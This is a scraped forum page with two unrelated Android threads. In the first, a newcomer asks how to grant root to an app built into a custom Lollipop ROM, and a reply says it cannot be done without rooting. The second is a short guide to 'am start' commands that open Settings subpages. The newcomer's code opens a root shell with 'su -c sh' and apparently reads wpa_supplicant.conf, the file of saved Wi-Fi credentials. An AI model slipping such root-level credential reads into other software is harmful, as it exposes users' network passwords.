I am a newbie in AOSP custom ROM battlefield. I am modifying the AOSP code for Lollipop 5.1.xx. I will have my custom ROM running on my device (Tablet). I have my app which is part of ROM and its loaded at location "../out/target/product/tilapia/system/app/myapp"
I want to execute the following command programmatically
"process = Runtime.getRuntime().exec("/system/xbin/su -c sh");"
Which I am not able to.
How to give root privileges to my app without rooting the device or using third party tools ? How can I achieve this as a Custom ROM for personal studies.
my code
/**
process = Runtime.getRuntime().exec("/system/xbin/su -c sh");
DataOutputStream dataOutputStream = new DataOutputStream(process.getOutputStream());
// Read the contents of wpa_supplicant.conf
dataOutputStream.writeBytes(mContext.getResources().getString("fileName");
dataOutputStream.writeBytes(mContext.getResources().getString(R.string.exit));
dataOutputStream.flush();
**/
Thanks in advance to all gurus.....
Click to expand...
Click to collapse
You can't have su permission without rooting your device.
Best place to ask such question would be here http://forum.xda-developers.com/coding/java-android
Good luck coding.

[GUIDE] Starting extras of Settings app

I was trying to add a shortcut for running applications by command but didn't found the correct syntax here, after some digging (and luck), I decided to share it :
(must run with system privileges)
For MM :
Code:
am start -n com.android.settings/com.android.settings.SubSettings -e :settings:show_fragment com.android.settings.applications.RunningServices
ps : kitkat was using android instead of settings and ProcessStatsUi instead of RunningServices :
Code:
am start -n com.android.settings/com.android.settings.SubSettings -e :[COLOR="Red"][B]android[/B][/COLOR]:show_fragment com.android.settings.applications.[COLOR="Red"][B]ProcessStatsUi[/B][/COLOR]
ps2 : lollipop users were having force closes with kitkat command so I assume it's working with MM one, but test it to be sure.
See this page for a list of extras (android 6.0.1) (some requires additionnal argument thus will force close settings app if used alone)
I don't have nougat so it could be different again (navigate to the appropriate section and test)

Categories

Resources